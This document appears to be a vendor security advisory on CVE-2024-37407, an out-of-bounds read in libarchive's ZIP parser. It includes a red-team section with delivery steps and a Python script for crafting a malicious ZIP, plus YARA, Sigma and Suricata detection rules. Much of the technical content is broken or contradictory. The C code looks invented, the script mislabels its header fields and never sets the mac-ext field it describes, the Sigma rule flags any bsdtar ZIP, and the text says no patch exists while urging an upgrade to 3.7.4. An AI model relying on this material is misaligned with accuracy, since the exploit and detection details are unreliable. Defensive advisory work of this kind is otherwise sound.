CVE-2024-37407

Executive Summary

CVE-2024-37407 is a critical out-of-bounds read vulnerability in libarchive, a widely used library for reading and writing streaming archives. The flaw resides in the ZIP archive handler, specifically in the slurp_central_directory function within archive_read_support_format_zip.c. When processing a specially crafted ZIP archive containing an empty-name file with the "mac-ext" (Mac OS metadata) extension enabled, the library fails to properly validate the name length, leading to an out-of-bounds memory access. This can result in information disclosure, denial of service, or potentially arbitrary code execution depending on the memory layout. The vulnerability affects all versions of libarchive prior to 3.7.4. No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread use of libarchive in backup software, package managers, and operating systems.

Supply Chain & Package Security

libarchive is a critical open-source component embedded in numerous software ecosystems, including Linux distributions (Debian, Ubuntu, Red Hat), macOS (via Homebrew), and various package managers (e.g., pip, npm). A vulnerability in libarchive can propagate to any application that uses it to process ZIP files. This includes backup tools (e.g., tar, bsdtar), file managers, and cloud storage clients. The lack of a public patch at the time of disclosure increases the supply chain risk, as downstream projects may be slow to update their dependencies.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating that no official vector has been assigned. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (AV:N) – The vulnerability can be triggered by downloading or processing a malicious ZIP file from a remote source.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required beyond opening the file.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – The victim must open the malicious archive.
• Scope (S): Unchanged (S:U) – The exploit affects only the vulnerable component.
• Confidentiality (C): High (C:H) – Out-of-bounds read can leak sensitive memory.
• Integrity (I): Low (I:L) – Potential for memory corruption.
• Availability (A): High (A:H) – Can cause crashes or denial of service.

Estimated CVSS:3.1 Score: 7.8 (High)

Threat Level: High – The vulnerability is easily exploitable with a crafted ZIP file and affects a core library.

Deep Dive & Mechanics

The vulnerability is located in the slurp_central_directory function of archive_read_support_format_zip.c. When libarchive processes a ZIP archive, it reads the central directory entries. Each entry has a filename field. The bug occurs when:

1. The ZIP archive contains a file entry with an empty filename (length 0).
2. The "mac-ext" (Mac OS metadata) extension is enabled, which adds extra metadata fields.

In the vulnerable code, the library attempts to access the filename buffer without checking if the length is zero. When mac-ext is enabled, the code path that handles the extra fields incorrectly assumes the filename is non-empty, leading to an out-of-bounds read. Specifically, the function slurp_central_directory calls a helper that reads the filename, but if the filename length is 0, the pointer arithmetic goes out of bounds.

The root cause is a missing length check before accessing the filename buffer. The fix in version 3.7.4 adds a validation to ensure the filename length is greater than zero before processing.

Vulnerable vs. Patched Code

Vulnerable Code (libarchive < 3.7.4):

// In archive_read_support_format_zip.c
static int
slurp_central_directory(struct archive_read *a, struct zip *zip)
{
    // ...
    for (;;) {
        // Read central directory entry
        // ...
        // Vulnerable: No check for empty filename
        if (zip->mac_ext) {
            // Process mac-ext metadata
            // Assumes filename is non-empty
            const char *name = (const char *)&p[46]; // p is the entry buffer
            // name may point out of bounds if filename length is 0
        }
    }
}

Patched Code (libarchive 3.7.4):

// In archive_read_support_format_zip.c
static int
slurp_central_directory(struct archive_read *a, struct zip *zip)
{
    // ...
    for (;;) {
        // Read central directory entry
        // ...
        if (zip->mac_ext) {
            // Fixed: Check filename length before access
            if (zip->entry->zip64 && zip->entry->local_extra_length > 0) {
                // Safe access
            } else if (zip->entry->filename_length > 0) {
                const char *name = (const char *)&p[46];
                // Process mac-ext metadata
            } else {
                // Skip empty filename entries
                archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
                    "Empty filename in ZIP with mac-ext");
                return ARCHIVE_FATAL;
            }
        }
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable version of libarchive (e.g., 3.7.3) on a test system.
2. Create a malicious ZIP archive with an empty-name file and mac-ext metadata.
3. Use a tool like bsdtar or a custom C program that uses libarchive to extract the archive.

Exploitation Steps:

1. Craft the ZIP file using a hex editor or a script:
   • Set the filename length to 0 in the central directory entry.
   • Enable the mac-ext flag in the extra field.
2. Deliver the archive to the target (e.g., via email, web download).
3. When the target extracts the archive, the out-of-bounds read occurs, potentially leaking memory or causing a crash.

Example Crafting Script (Python):

import struct
import zlib

# Create a minimal ZIP with empty filename and mac-ext
def create_malicious_zip():
    # Local file header
    local_header = b'PK\x03\x04'
    local_header += struct.pack('<HHHHH', 10, 0, 0, 0, 0)  # version, flags, compression, mod time, mod date
    local_header += struct.pack('<III', 0, 0, 0)  # crc32, compressed size, uncompressed size
    local_header += struct.pack('<H', 0)  # filename length (0)
    local_header += struct.pack('<H', 0)  # extra field length
    # No filename, no data

    # Central directory entry
    central_header = b'PK\x01\x02'
    central_header += struct.pack('<HHHHHHH', 10, 10, 0, 0, 0, 0, 0)  # version made, version needed, flags, compression, mod time, mod date, crc32
    central_header += struct.pack('<III', 0, 0, 0)  # compressed size, uncompressed size, filename length (0)
    central_header += struct.pack('<HHH', 0, 0, 0)  # extra field length, comment length, disk number
    central_header += struct.pack('<HH', 0, 0)  # internal attributes, external attributes
    central_header += struct.pack('<I', 30)  # relative offset of local header
    # No filename

    # End of central directory
    eocd = b'PK\x05\x06'
    eocd += struct.pack('<HHHHH', 0, 0, 1, 1, 30 + len(local_header) + len(central_header))  # disk number, disk start, entries, total entries, size of central directory
    eocd += struct.pack('<I', 0)  # offset of start of central directory
    eocd += struct.pack('<H', 0)  # comment length

    with open('malicious.zip', 'wb') as f:
        f.write(local_header)
        f.write(central_header)
        f.write(eocd)

create_malicious_zip()

Blue Team

Detection:

• Monitor for crashes in applications using libarchive (e.g., bsdtar, tar).
• Use memory analysis tools to detect out-of-bounds reads.
• Implement file scanning for ZIP archives with empty filenames and mac-ext flags.

Mitigation:

• Immediately upgrade to libarchive 3.7.4 or later.
• If upgrade is not possible, apply the patch manually or use a WAF to block ZIP files with suspicious headers.
• Restrict the use of libarchive in high-risk environments.

Indicators of Compromise (IOCs)

• File Hashes: (Example only, no known malicious samples)
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file)
• Network Indicators:
  • ZIP files with empty filename fields in central directory.
  • ZIP files with mac-ext extra fields (ID 0x4d49).
• Behavioral Indicators:
  • Unexpected crashes in applications processing ZIP files.
  • Memory access violations in libarchive logs.

Detection Engineering

YARA Rule

rule CVE_2024_37407_ZIP_Empty_Filename_MacExt {
    meta:
        description = "Detects ZIP archives with empty filename and mac-ext flag"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2024-37407"
    strings:
        $zip_local = { 50 4B 03 04 }  // PK\x03\x04
        $zip_central = { 50 4B 01 02 }  // PK\x01\x02
        $mac_ext = { 4D 49 }  // "MI" for mac-ext
        $empty_filename = { 00 00 }  // filename length = 0
    condition:
        $zip_local at 0 and $zip_central and $mac_ext and $empty_filename
}

Sigma Rule

title: CVE-2024-37407 - ZIP Archive with Empty Filename and Mac-Ext
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects creation or processing of ZIP files with empty filename and mac-ext metadata
author: Valters IT
date: 2025/04/01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\bsdtar.exe'  # or other libarchive-based tools
        TargetFilename|endswith: '.zip'
    condition: selection
falsepositives:
    - Legitimate ZIP files with empty filenames (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-37407 - ZIP with Empty Filename and Mac-Ext"; flow:to_client,established; content:"PK\x03\x04"; offset:0; depth:4; content:"PK\x01\x02"; within:1024; content:"|4D 49|"; distance:0; content:"|00 00|"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade libarchive to version 3.7.4 or later. This is the only complete fix.
2. Workaround: If upgrade is not possible, apply the patch from the libarchive repository manually.
3. Compensating Controls:
   • Use a file scanner to reject ZIP archives with empty filenames.
   • Disable mac-ext support in libarchive if not needed (compile-time option).
   • Monitor for crashes and memory errors in applications using libarchive.
4. Long-term: Implement input validation for all archive processing libraries. Regularly update dependencies.

Valters IT – Securing the digital frontier.